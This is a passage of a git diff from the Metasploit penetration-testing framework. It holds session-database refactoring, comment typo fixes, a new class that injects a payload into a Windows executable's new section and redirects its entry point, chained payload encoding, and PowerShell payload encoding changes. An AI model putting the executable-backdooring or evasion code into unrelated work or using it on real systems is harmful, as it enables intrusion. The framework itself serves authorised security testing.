:via_exploit => opts[:via_exploit], - :routes => opts[:routes] || [], - :datastore => opts[:datastore], - :opened_at => opts[:opened_at], - :closed_at => opts[:closed_at], - :last_seen => opts[:last_seen] || opts[:closed_at], - :close_reason => opts[:close_reason], - } + s = create_mdm_session_from_host(opts) else raise ArgumentError.new("Missing option :session or :host") end - ret = {} - # Truncate the session data if necessary - if sess_data[:desc] - sess_data[:desc] = sess_data[:desc][0,255] - end + wspace = s.workspace - # In the case of multi handler we cannot yet determine the true - # exploit responsible. But we can at least show the parent versus - # just the generic handler: - if session and session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] - sess_data[:via_exploit] = sess_data[:datastore]['ParentModule'] - end - - s = ::Mdm::Session.new(sess_data) - s.save! - - if session and session.exploit_task and session.exploit_task.record - session_task = session.exploit_task.record - if session_task.class == Mdm::Task - Mdm::TaskSession.create(:task => session_task, :session => s ) + if session + if session.exploit.user_data_is_match? + MetasploitDataModels::AutomaticExploitation::MatchResult.create!( + match: session.exploit.user_data[:match], + match_set: session.exploit.user_data[:match_set], + run: session.exploit.user_data[:run], + state: 'succeeded', + ) + elsif session.via_exploit + # This is a live session, we know the host is vulnerable to something. + infer_vuln_from_session(session, wspace) end end + s + } + end - if opts[:session] - session.db_record = s - end + protected - # If this is a live session, we know the host is vulnerable to something. - if opts[:session] and session.via_exploit - mod = framework.modules.create(session.via_exploit) + # @param session [Msf::Session] A session with a {db_record Msf::Session#db_record} + # @param wspace [Mdm::Workspace] + # @return [void] + def infer_vuln_from_session(session, wspace) + ::ActiveRecord::Base.connection_pool.with_connection { + s = session.db_record + host = s.host - if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] - mod_fullname = sess_data[:datastore]['ParentModule'] - mod_name = ::Mdm::Module::Detail.find_by_fullname(mod_fullname).name + if session.via_exploit == "exploit/multi/handler" and session.exploit_datastore['ParentModule'] + mod_fullname = session.exploit_datastore['ParentModule'] else - mod_name = mod.name - mod_fullname = mod.fullname + mod_fullname = session.via_exploit end + mod_detail = ::Mdm::Module::Detail.find_by_fullname(mod_fullname) + if mod_detail.nil? + # Then the cache isn't built yet, take the hit for instantiating the + # module + mod_detail = framework.modules.create(mod_fullname) + end + mod_name = mod_detail.name vuln_info = { - :host => host.address, - :name => mod_name, - :refs => mod.references, - :workspace => wspace, - :exploited_at => Time.now.utc, - :info => "Exploited by #{mod_fullname} to create Session #{s.id}" + exploited_at: Time.now.utc, + host: host, + info: "Exploited by #{mod_fullname} to create Session #{s.id}", + name: mod_name, + refs: mod_detail.refs.map(&:name), + workspace: wspace, } port = session.exploit_datastore["RPORT"] @@ -178,28 +148,105 @@ module Msf::DBManager::Session vuln = framework.db.report_vuln(vuln_info) - if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] - via_exploit = sess_data[:datastore]['ParentModule'] - else - via_exploit = session.via_exploit - end attempt_info = { - :timestamp => Time.now.utc, - :workspace => wspace, - :module => via_exploit, - :username => session.username, - :refs => mod.references, - :session_id => s.id, - :host => host, - :service => service, - :vuln => vuln + host: host, + module: mod_fullname, + refs: mod_detail.refs, + service: service, + session_id: s.id, + timestamp: Time.now.utc, + username: session.username, + vuln: vuln, + workspace: wspace, } framework.db.report_exploit_success(attempt_info) - end - - s - } + vuln + } end -end \ No newline at end of file + + def create_mdm_session_from_session(opts) + ::ActiveRecord::Base.connection_pool.with_connection { + session = opts[:session] + raise ArgumentError.new("Invalid :session, expected Msf::Session") unless session.kind_of? Msf::Session + + wspace = opts[:workspace] || find_workspace(session.workspace) + h_opts = { } + h_opts[:host] = normalize_host(session) + h_opts[:arch] = session.arch if session.respond_to?(:arch) and session.arch + h_opts[:workspace] = wspace + host = find_or_create_host(h_opts) + sess_data = { + datastore: session.exploit_datastore.to_h, + desc: truncate_session_desc(session.info), + host_id: host.id, + last_seen: Time.now.utc, + local_id: session.sid, + opened_at: Time.now.utc, + platform: session.platform, + port: session.session_port, + routes: [], + stype: session.type, + via_exploit: session.via_exploit, + via_payload: session.via_payload, + } + + # In the case of multi handler we cannot yet determine the true + # exploit responsible. But we can at least show the parent versus + # just the generic handler: + if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] + sess_data[:via_exploit] = sess_data[:datastore]['ParentModule'] + end + + s = ::Mdm::Session.create!(sess_data) + + if session.exploit_task and session.exploit_task.record + session_task = session.exploit_task.record + if session_task.class == Mdm::Task + Mdm::TaskSession.create(task: session_task, session: s ) + end + end + + s + } + end + + def create_mdm_session_from_host(opts) + ::ActiveRecord::Base.connection_pool.with_connection { + host = opts[:host] + raise ArgumentError.new("Invalid :host, expected Host object") unless host.kind_of? ::Mdm::Host + sess_data = { + host_id: host.id, + stype: opts[:stype], + desc: truncate_session_desc(opts[:desc]), + platform: opts[:platform], + via_payload: opts[:via_payload], + via_exploit: opts[:via_exploit], + routes: opts[:routes] || [], + datastore: opts[:datastore], + opened_at: opts[:opened_at], + closed_at: opts[:closed_at], + last_seen: opts[:last_seen] || opts[:closed_at], + close_reason: opts[:close_reason], + } + + + s = ::Mdm::Session.create!(sess_data) + s + } + end + + # Truncate the session data if necessary + # + # @param desc [String] + # @return [String] +desc+ truncated to the max length of the desc column + def truncate_session_desc(desc) + # Truncate the session data if necessary + if desc + desc = desc[0, ::Mdm::Session.columns_hash['desc'].limit] + end + desc + end + +end diff --git a/lib/msf/core/db_manager/wmap.rb b/lib/msf/core/db_manager/wmap.rb index 37ea91a260..faffc1c19b 100644 --- a/lib/msf/core/db_manager/wmap.rb +++ b/lib/msf/core/db_manager/wmap.rb @@ -43,8 +43,8 @@ module Msf::DBManager::WMAP } end - # This method iterates the requests table identifiying possible targets - # This method wiil be remove on second phase of db merging. + # This method iterates the requests table identifying possible targets + # This method will be removed on second phase of db merging. def each_distinct_target(&block) request_distinct_targets.each do |target| block.call(target) @@ -111,7 +111,7 @@ module Msf::DBManager::WMAP end # This method returns a list of all possible targets available in requests - # This method wiil be remove on second phase of db merging. + # This method will be removed on second phase of db merging. def request_distinct_targets ::ActiveRecord::Base.connection_pool.with_connection { ::Mdm::WmapRequest.select('DISTINCT host,address,port,ssl') @@ -186,4 +186,4 @@ module Msf::DBManager::WMAP ::Mdm::WmapTarget.all } end -end \ No newline at end of file +end diff --git a/lib/msf/core/encoded_payload.rb b/lib/msf/core/encoded_payload.rb index 0066ffa026..e3f21c2226 100644 --- a/lib/msf/core/encoded_payload.rb +++ b/lib/msf/core/encoded_payload.rb @@ -49,8 +49,6 @@ class EncodedPayload self.nop_sled = nil self.encoder = nil self.nop = nil - self.iterations = reqs['Iterations'].to_i - self.iterations = 1 if self.iterations < 1 # Increase thread priority as necessary. This is done # to ensure that the encoding and sled generation get @@ -71,8 +69,27 @@ class EncodedPayload # Generate the raw version of the payload first generate_raw() if self.raw.nil? - # Encode the payload - encode() + # If encoder is set, it could be an encoders list + # The form is ":, :"... + if reqs['Encoder'] + encoder_str = reqs['Encoder'] + encoder_str.scan(/([^:, ]+):?([^,]+)?/).map do |encoder_opt| + reqs['Encoder'] = encoder_opt[0] + + self.iterations = (encoder_opt[1] || reqs['Iterations']).to_i + self.iterations = 1 if self.iterations < 1 + + # Encode the payload with every encoders in the list + encode() + # Encoded payload is now the raw payload to be encoded by the next encoder + self.raw = self.encoded + end + else + self.iterations = reqs['Iterations'].to_i + self.iterations = 1 if self.iterations < 1 + # No specified encoder, let BadChars or ForceEncode do their job + encode() + end # Build the NOP sled generate_sled() @@ -110,7 +127,7 @@ class EncodedPayload def encode # If the exploit has bad characters, we need to run the list of encoders # in ranked precedence and try to encode without them. - if reqs['BadChars'] or reqs['Encoder'] or reqs['ForceEncode'] + if reqs['BadChars'].to_s.length > 0 or reqs['Encoder'] or reqs['ForceEncode'] encoders = pinst.compatible_encoders # Make sure the encoder name from the user has the same String#encoding @@ -165,7 +182,7 @@ class EncodedPayload next end - # If the caller explictly requires register preservation, make sure + # If the caller explicitly requires register preservation, make sure # that the module in question can handle it. This is mostly used by # the stage encoder path. if (reqs['ForceSaveRegisters'] and diff --git a/lib/msf/core/encoder.rb b/lib/msf/core/encoder.rb index eea5de9c0c..076107891e 100644 --- a/lib/msf/core/encoder.rb +++ b/lib/msf/core/encoder.rb @@ -99,7 +99,7 @@ class Encoder < Module # NonAlpha = "non_alpha" # - # tolower safe ascii - not 'A' - 'Z' (more flexable than nonalpha) + # tolower safe ascii - not 'A' - 'Z' (more flexible than nonalpha) # NonUpper = "non_upper" # diff --git a/lib/msf/core/exe/segment_appender.rb b/lib/msf/core/exe/segment_appender.rb new file mode 100644 index 0000000000..e0cb4a280b --- /dev/null +++ b/lib/msf/core/exe/segment_appender.rb @@ -0,0 +1,51 @@ +# -*- coding: binary -*- +module Msf +module Exe + + require 'metasm' + require 'msf/core/exe/segment_injector' + + class SegmentAppender < SegmentInjector + + def payload_stub(prefix) + # TODO: Implement possibly helpful payload obfuscation + asm = "new_entrypoint:\n#{prefix}\n" + shellcode = Metasm::Shellcode.assemble(processor, asm) + shellcode.encoded + @payload + end + + def generate_pe + # Copy our Template into a new PE + pe_orig = Metasm::PE.decode_file(template) + pe = pe_orig.mini_copy + + # Copy the headers and exports + pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4] + pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup + pe.header.time = pe_orig.header.time + + # Don't rebase if we can help it since Metasm doesn't do relocations well + pe.optheader.dll_characts.delete("DYNAMIC_BASE") + + # TODO: Look at supporting DLLs in the future + prefix = '' + + # Create a new section + s = Metasm::PE::Section.new + s.name = '.' + Rex::Text.rand_text_alpha_lower(4) + s.encoded = payload_stub prefix + s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE] + + pe.sections << s + pe.invalidate_header + + # Change the entrypoint to our new section + pe.optheader.entrypoint = 'new_entrypoint' + pe.cpu = pe_orig.cpu + + pe.encode_string + end + + end +end +end diff --git a/lib/msf/core/exe/segment_injector.rb b/lib/msf/core/exe/segment_injector.rb index 418e2959b5..203785adf6 100644 --- a/lib/msf/core/exe/segment_injector.rb +++ b/lib/msf/core/exe/segment_injector.rb @@ -59,20 +59,11 @@ module Exe EOS end - def payload_as_asm - asm = '' - @payload.each_byte do |byte| - asm << "db " + sprintf("0x%02x", byte) + "\n" - end - return asm - end - def payload_stub(prefix) asm = "hook_entrypoint:\n#{prefix}\n" asm << create_thread_stub - asm << payload_as_asm shellcode = Metasm::Shellcode.assemble(processor, asm) - shellcode.encoded + shellcode.encoded + @payload end def generate_pe diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 363d6c4a9c..028c792fe8 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -866,7 +866,7 @@ class Exploit < Msf::Module # # Minimum number of nops to use as a hint to the framework. - # Nil snigifies that the framework should decide. + # Nil signifies that the framework should decide. # def payload_min_nops(explicit_target = nil) explicit_target ||= target @@ -1218,10 +1218,31 @@ class Exploit < Msf::Module # Failure tracking ## + # Raises a Msf::Exploit::Failed exception. It overrides the fail_with method + # in lib/msf/core/module.rb + # + # @param reason [String] A constant from Msf::Module::Failure. + # If the reason does not come from there, then it will default to + # Msf::Module::Failure::Unknown. + # @param msg [String] (Optional) A message about the failure. + # @raise [Msf::Exploit::Failed] A custom Msf::Exploit::Failed exception. + # @return [void] + # @see Msf::Module::Failure + # @see Msf::Module#fail_with + # @example + # fail_with(Msf::Module::Failure::NoAccess, 'Unable to login to upload payload') def fail_with(reason,msg=nil) - self.fail_reason = reason + # The reason being registered here will be used later on, so it's important we don't actually + # provide a made-up one. + allowed_values = Msf::Module::Failure.constants.collect {|e| Msf::Module::Failure.const_get(e)} + if allowed_values.include?(reason) + self.fail_reason = reason + else + self.fail_reason = Msf::Module::Failure::Unknown + end + self.fail_detail = msg - raise Msf::Exploit::Failed, (msg || "No reason given") + raise Msf::Exploit::Failed, (msg || "No failure message given") end def report_failure @@ -1276,7 +1297,7 @@ class Exploit < Msf::Module ## # - # The reason why the exploit was not successful (one of Msf::Exploit::FailReason) + # The reason why the exploit was not successful (one of Msf::Module::Failure) # attr_accessor :fail_reason @@ -1393,4 +1414,3 @@ protected end end - diff --git a/lib/msf/core/exploit/afp.rb b/lib/msf/core/exploit/afp.rb index 0feffb6c51..850bbc7503 100644 --- a/lib/msf/core/exploit/afp.rb +++ b/lib/msf/core/exploit/afp.rb @@ -228,14 +228,14 @@ module Exploit::Remote::AFP parsed_data[:machine_type] = read_pascal_string(body, machine_type_offset) parsed_data[:versions] = read_array(body, afp_versions_offset) parsed_data[:uams] = read_array(body, uam_count_offset) - # skiped icon + # skipped icon parsed_data[:server_flags] = parse_flags(server_flags) parsed_data[:signature] = body.unpack("@#{server_signature_offset}H32").first network_addresses = read_array(body, network_addresses_offset, true) parsed_data[:network_addresses] = parse_network_addresses(network_addresses) - # skiped directory names - #Error catching for offset issues on this field. Need better error ahndling all through here + # skipped directory names + #Error catching for offset issues on this field. Need better error handling all through here begin parsed_data[:utf8_server_name] = read_utf8_pascal_string(body, utf8_servername_offset) rescue @@ -289,7 +289,7 @@ module Exploit::Remote::AFP parsed_addreses << IPAddr.ntop(address[1..4]).to_s when 2 # Four-byte IP address followed by a two-byte port number parsed_addreses << "#{IPAddr.ntop(address[1..4])}:#{address[5..6].unpack("n").first}" - when 3 # DDP address (depricated) + when 3 # DDP address (deprecated) next when 4 # DNS name (maximum of 254 bytes) parsed_addreses << address[1..address.length - 1] diff --git a/lib/msf/core/exploit/capture.rb b/lib/msf/core/exploit/capture.rb index 0d494ec42a..3bf3da504e 100644 --- a/lib/msf/core/exploit/capture.rb +++ b/lib/msf/core/exploit/capture.rb @@ -5,7 +5,7 @@ module Msf # # This module provides methods for sending and receiving # raw packets. It should be preferred over the soon-to-be -# deprecated Rex::Socket::Ip and Msf::Exploite::Remote::Ip +# deprecated Rex::Socket::Ip and Msf::Exploit::Remote::Ip # mixins. # # Please see the pcaprub documentation for more information @@ -379,7 +379,7 @@ module Msf self.arp_cache = {} end - # For compatabilty with Msf::Exploit::Remote::Ip + # For compatibilty with Msf::Exploit::Remote::Ip def rhost datastore['RHOST'] end @@ -450,7 +450,7 @@ module Msf end end - # This function is usefull only on windows where pcaprub use the GUID + # This function is useful only on windows where pcaprub use the GUID def get_interface_guid(dev) check_pcaprub_loaded if RUBY_PLATFORM == "i386-mingw32" @@ -473,7 +473,7 @@ module Msf dev = get_interface_guid(dev) addrs = NetworkInterface.addresses(dev) raise RuntimeError, "Interface #{dev} does not exist" if !addrs - raise RuntimeError, "Can not get mac address for interface #{dev}" if !addrs[NetworkInterface::AF_LINK][0]['addr'] + raise RuntimeError, "Cannot get mac address for interface #{dev}" if !addrs[NetworkInterface::AF_LINK][0]['addr'] addrs[NetworkInterface::AF_LINK][0]['addr'] end @@ -491,7 +491,7 @@ module Msf addrs = NetworkInterface.addresses(dev) raise RuntimeError, "Interface #{dev} does not exist" if !addrs raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1 - raise RuntimeError, "Can not get the IPv4 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['addr'] + raise RuntimeError, "Cannot get the IPv4 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['addr'] addrs[NetworkInterface::AF_INET][num]['addr'] end @@ -501,7 +501,7 @@ module Msf addrs = NetworkInterface.addresses(dev) raise RuntimeError, "Interface #{dev} does not exist" if !addrs raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1 - raise RuntimeError, "Can not get IPv4 netmask for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['netmask'] + raise RuntimeError, "Cannot get IPv4 netmask for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['netmask'] addrs[NetworkInterface::AF_INET][num]['netmask'] end @@ -511,7 +511,7 @@ module Msf addrs = NetworkInterface.addresses(dev) raise RuntimeError, "Interface #{dev} do not exists" if !addrs raise RuntimeError, "Interface #{dev} do not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1 - raise RuntimeError, "Can not get IPv4 broadcast address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['broadcast'] + raise RuntimeError, "Cannot get IPv4 broadcast address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['broadcast'] addrs[NetworkInterface::AF_INET][num]['broadcast'] end @@ -532,7 +532,7 @@ module Msf addrs = NetworkInterface.addresses(dev) raise RuntimeError, "Interface #{dev} do not exists" if !addrs raise RuntimeError, "Interface #{dev} do not have an ipv6 address at position #{num}" if addrs[NetworkInterface::AF_INET6].length < num + 1 - raise RuntimeError, "Can not get ipv6 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET6][num]['addr'] + raise RuntimeError, "Cannot get ipv6 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET6][num]['addr'] addrs[NetworkInterface::AF_INET6][num]['addr'].gsub(/%(.)*$/, '') end @@ -543,7 +543,7 @@ module Msf addrs = NetworkInterface.addresses(dev) raise RuntimeError, "Interface #{dev} do not exists" if !addrs raise RuntimeError, "Interface #{dev} do not have an ipv6 address at position #{num}" if addrs[NetworkInterface::AF_INET6].length < num + 1 - raise RuntimeError, "Can not get ipv6 netmask address for interface #{dev}" if !addrs[NetworkInterface::AF_INET6][num]['netmask'] + raise RuntimeError, "Cannot get ipv6 netmask address for interface #{dev}" if !addrs[NetworkInterface::AF_INET6][num]['netmask'] addrs[NetworkInterface::AF_INET6][num]['netmask'] end diff --git a/lib/msf/core/exploit/cmdstager.rb b/lib/msf/core/exploit/cmdstager.rb index 8d4739a453..ae570e1cd3 100644 --- a/lib/msf/core/exploit/cmdstager.rb +++ b/lib/msf/core/exploit/cmdstager.rb @@ -108,7 +108,7 @@ module Exploit::CmdStager # @option opts :decoder [Symbol] The decoder stub to use. # @param pl [String] String containing the payload to execute # @return [Array] The list of commands to execute - # @raise [ArgumentError] raised if the cmd stub can not be generated + # @raise [ArgumentError] raised if the cmd stub cannot be generated def generate_cmdstager(opts = {}, pl = nil) select_cmdstager(opts) @@ -138,12 +138,12 @@ module Exploit::CmdStager # Selects the correct cmd stager and decoder stub to use # - # @param opts [Hash] Hash containing the options to select te correct cmd + # @param opts [Hash] Hash containing the options to select the correct cmd # stager and decoder. # @option opts :flavor [Symbol] The cmd stager to use. # @option opts :decoder [Symbol] The decoder stub to use. # @return [void] - # @raise [ArgumentError] raised if a cmd stager can not be selected or it + # @raise [ArgumentError] raised if a cmd stager cannot be selected or it # isn't compatible with the target platform. def select_cmdstager(opts = {}) self.flavor = select_flavor(opts) @@ -188,11 +188,11 @@ module Exploit::CmdStager # user through datastore options, (3) select the default decoder for the # current cmd stager flavor if available. # - # @param opts [Hash] Hash containing the options to select te correct + # @param opts [Hash] Hash containing the options to select the correct # decoder. # @option opts :decoder [String] The decoder stub to use. # @return [String] The decoder. - # @return [nil] if a decoder can not be selected. + # @return [nil] if a decoder cannot be selected. def select_decoder(opts = {}) return opts[:decoder] if opts.include?(:decoder) return datastore['CMDSTAGER::DECODER'] unless datastore['CMDSTAGER::DECODER'].blank? @@ -203,11 +203,11 @@ module Exploit::CmdStager # flavor provided in options, (2) use the flavor provided by the user # through datastore options, (3) guess the flavor using the target platform. # - # @param opts [Hash] Hash containing the options to select te correct cmd + # @param opts [Hash] Hash containing the options to select the correct cmd # stager # @option opts :flavor [Symbol] The cmd stager flavor to use. # @return [Symbol] The flavor to use. - # @return [nil] if a flavor can not be selected. + # @return [nil] if a flavor cannot be selected. def select_flavor(opts = {}) return opts[:flavor].to_sym if opts.include?(:flavor) unless datastore['CMDSTAGER::FLAVOR'].blank? or datastore['CMDSTAGER::FLAVOR'] == 'auto' @@ -220,7 +220,7 @@ module Exploit::CmdStager # target or platform. # # @return [Symbol] The cmd stager flavor to use. - # @return [nil] if the cmd stager flavor can not be guessed. + # @return [nil] if the cmd stager flavor cannot be guessed. def guess_flavor # First try to guess a compatible flavor based on the module & target information. unless target_flavor.nil? @@ -252,7 +252,7 @@ module Exploit::CmdStager end # Returns all the compatible stager flavors specified by the module and each - # of it's targets. + # of its targets. # # @return [Array] the list of all compatible cmd stager flavors. def module_flavors diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index 6a658243b0..e53803241a 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -54,7 +54,7 @@ module Exploit::FileDropper # We need to be platform-independent here. Since we can't be # certain that {#target} is accurate because exploits with # automatic targets frequently change it, we just go ahead and - # run both a windows and a unixy command in the same line. One + # run both a windows and a unix command in the same line. One # of them will definitely fail and the other will probably # succeed. Doing it this way saves us an extra round-trip. # Trick shared by @mihi42 diff --git a/lib/msf/core/exploit/fmtstr.rb b/lib/msf/core/exploit/fmtstr.rb index 70bd996944..49eb989c89 100644 --- a/lib/msf/core/exploit/fmtstr.rb +++ b/lib/msf/core/exploit/fmtstr.rb @@ -238,7 +238,7 @@ module Exploit::FormatString # no need to advance :) return "" if prec == 0 - # asumming %x max normal length is 8... + # assuming %x max normal length is 8... if prec >= 8 return "%0" + prec.to_s + "x" end diff --git a/lib/msf/core/exploit/ftp.rb b/lib/msf/core/exploit/ftp.rb index adc0132b02..ede4bb806c 100644 --- a/lib/msf/core/exploit/ftp.rb +++ b/lib/msf/core/exploit/ftp.rb @@ -211,7 +211,7 @@ module Exploit::Remote::Ftp # dispatch to the proper method if (type == "get") - # failed listings jsut disconnect.. + # failed listings just disconnect.. begin data = self.datasocket.get_once(-1, ftp_timeout) rescue ::EOFError diff --git a/lib/msf/core/exploit/gdb.rb b/lib/msf/core/exploit/gdb.rb index d6c7cb2cf7..961911fb82 100644 --- a/lib/msf/core/exploit/gdb.rb +++ b/lib/msf/core/exploit/gdb.rb @@ -24,7 +24,7 @@ module Exploit::Remote::Gdb # thrown when a checksum is invalid class BadChecksumError < RuntimeError; end - # Default list of supported GDB features to send the to the target + # Default list of supported GDB features to send them to the target GDB_FEATURES = 'qSupported:multiprocess+;qRelocInsn+;qvCont+;' # Maps index of register in GDB that holds $PC to architecture diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 7e52027dd5..ad438f1718 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -229,7 +229,7 @@ module Exploit::Remote::HttpServer print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") if (opts['ServerHost'] == '0.0.0.0') - print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") + print_status("Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") end add_resource(uopts) @@ -305,7 +305,7 @@ module Exploit::Remote::HttpServer when /opera\/(\d+(:?\.\d+)*)/ fp[:ua_name] = HttpClients::OPERA fp[:ua_ver] = $1 - when /mozilla\/[0-9]+\.[0-9] \(compatible; msie ([0-9]+\.[0-9]+)/ + when /mozilla\/[0-9]+\.[0-9] \(compatible; msie ([0-9]+\.[0-9]+)/i, /mozilla\/[0-9]+\.[0-9] \(.+ rv:([0-9]+\.[0-9])\)/i fp[:ua_name] = HttpClients::IE fp[:ua_ver] = $1 else @@ -453,7 +453,7 @@ module Exploit::Remote::HttpServer # Returns the last-used resource path # def get_resource - # We don't want modules modifying their service_path inadvertantly, so + # We don't want modules modifying their service_path inadvertently, so # give them a dup. Can be nil during module setup. @service_path ? @service_path.dup : nil end diff --git a/lib/msf/core/exploit/java.rb b/lib/msf/core/exploit/java.rb index b3eb246411..7a361e715c 100644 --- a/lib/msf/core/exploit/java.rb +++ b/lib/msf/core/exploit/java.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- ### # -# This mixn provides methods for interacting with a JDK installation to perform +# This mixin provides methods for interacting with a JDK installation to perform # functions such as dynamic compilation and jar signing. # # Dependencies: @@ -108,7 +108,7 @@ module Exploit::Java if classnames.class == [].class && codez.class == [].class # default compile class begin - # Sames as java_compiler_klass.CompileFromMemory( String[] classnames, + # Same as java_compiler_klass.CompileFromMemory( String[] classnames, # String[] codez, String[] compilerOptions) success = java_compiler_klass._invoke('CompileFromMemory', # Signature explained: [ means array, Lpath.to.object; means object diff --git a/lib/msf/core/exploit/mssql_sqli.rb b/lib/msf/core/exploit/mssql_sqli.rb index 2c456b01f3..57abed0ef2 100644 --- a/lib/msf/core/exploit/mssql_sqli.rb +++ b/lib/msf/core/exploit/mssql_sqli.rb @@ -134,7 +134,7 @@ module Exploit::Remote::MSSQL_SQLI end # - # Issue a SQL query using the the SQL injection point + # Issue a SQL query using the SQL injection point # def mssql_query(sqla, doprint=false) diff --git a/lib/msf/core/exploit/ndmp.rb b/lib/msf/core/exploit/ndmp.rb index 37a5542292..79212d4e88 100644 --- a/lib/msf/core/exploit/ndmp.rb +++ b/lib/msf/core/exploit/ndmp.rb @@ -92,7 +92,7 @@ module Exploit::Remote::NDMP self.recv_buff << ( sock.get_once( 4 - self.recv_buff.length, 5) || '' ) end - # If we did not recieve a full length value, return early + # If we did not receive a full length value, return early if (self.recv_buff.length < 4) return false end diff --git a/lib/msf/core/exploit/ntlm.rb b/lib/msf/core/exploit/ntlm.rb index 553ad17986..ff9f573a18 100644 --- a/lib/msf/core/exploit/ntlm.rb +++ b/lib/msf/core/exploit/ntlm.rb @@ -10,7 +10,7 @@ module Msf ### # # This mixins will only provide the options name and description when a protocol want to use ntlm features from lib/rex/proto/ntlm . -# Unfortunatly other mixin's still have to make direct call from lib/rex/proto/ntlm +# Unfortunately other mixin's still have to make direct call from lib/rex/proto/ntlm # cause some protocol like SMB are implemented in lib/rex/proto/ while others like mssql are implemented in lib/msf/core/exploit # ### diff --git a/lib/msf/core/exploit/oracle.rb b/lib/msf/core/exploit/oracle.rb index 48f6af64ec..b4998e52fc 100644 --- a/lib/msf/core/exploit/oracle.rb +++ b/lib/msf/core/exploit/oracle.rb @@ -100,7 +100,7 @@ module Exploit::ORACLE # The Handling is a little different for certain types of query # Mainly Select needs a fetch statement to get the data # Also return types are a little different (some return rows changed so we can used that) - # The case statement could probaby be collapsed a bit but leaving it as is for the moment + # The case statement could probably be collapsed a bit but leaving it as is for the moment # in case it's useful later... # Select Queries diff --git a/lib/msf/core/exploit/pdf.rb b/lib/msf/core/exploit/pdf.rb index 9b3b0b135f..0400306358 100644 --- a/lib/msf/core/exploit/pdf.rb +++ b/lib/msf/core/exploit/pdf.rb @@ -218,7 +218,7 @@ module Exploit::PDF end ## - #Controller funtion, should be entrypoint for pdf exploits + #Controller function, should be entrypoint for pdf exploits ## def create_pdf(js) strFilter = "" diff --git a/lib/msf/core/exploit/pdf_parse.rb b/lib/msf/core/exploit/pdf_parse.rb index 174307880f..8e17d898ec 100644 --- a/lib/msf/core/exploit/pdf_parse.rb +++ b/lib/msf/core/exploit/pdf_parse.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- ### # -# This module provides methods for parseing and interacting +# This module provides methods for parsing and interacting # with the PDF format. # ### diff --git a/lib/msf/core/exploit/postgres.rb b/lib/msf/core/exploit/postgres.rb index 514eae6c50..09f3f9487e 100644 --- a/lib/msf/core/exploit/postgres.rb +++ b/lib/msf/core/exploit/postgres.rb @@ -205,7 +205,7 @@ module Exploit::Remote::Postgres # result of "select version()" if authentication was successful. # # @return [Hash] A hash containing the version in one of the keys :preauth, - # :auth, or :unkown, depending on how it was determined + # :auth, or :unknown, depending on how it was determined # @see #postgres_authed_fingerprint # @see #analyze_auth_error def postgres_fingerprint(args={}) diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb index be16970ec5..0dc1fa02fb 100644 --- a/lib/msf/core/exploit/powershell.rb +++ b/lib/msf/core/exploit/powershell.rb @@ -1,10 +1,8 @@ # -*- coding: binary -*- -require 'rex/exploitation/powershell' +require 'rex/powershell' module Msf module Exploit::Powershell - PowershellScript = Rex::Exploitation::Powershell::Script - def initialize(info = {}) super register_advanced_options( @@ -27,15 +25,13 @@ module Exploit::Powershell # # @return [String] Encoded script def encode_script(script_in) - # Build script object - psh = PowershellScript.new(script_in) - # Invoke enabled modifiers - datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k| + opts = {} + datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k| mod_method = k.split('::').last.intern - psh.send(mod_method) + opts[mod_method.to_sym] = true end - psh.encode_code + Rex::Powershell::Command.encode_script(script_in, opts) end # @@ -46,16 +42,14 @@ module Exploit::Powershell # @param eof [String] Marker to indicate the end of file appended to script # # @return [String] Compressed script with decompression stub - def compress_script(script_in, eof = nil) - # Build script object - psh = PowershellScript.new(script_in) - # Invoke enabled modifiers - datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k| + def compress_script(script_in, eof=nil) + opts = {} + datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k| mod_method = k.split('::').last.intern - psh.send(mod_method) + opts[mod_method.to_sym] = true end - psh.compress_code(eof) + Rex::Powershell::Command.compress_script(script_in, eof, opts) end # @@ -69,19 +63,7 @@ module Exploit::Powershell # # @return [String] Powershell command line with arguments def generate_psh_command_line(opts) - if opts[:path] and (opts[:path][-1, 1] != '\\') - opts[:path] << '\\' - end - - if opts[:no_full_stop] - binary = 'powershell' - else - binary = 'powershell.exe' - end - - args = generate_psh_args(opts) - - "#{opts[:path]}#{binary} #{args}" + 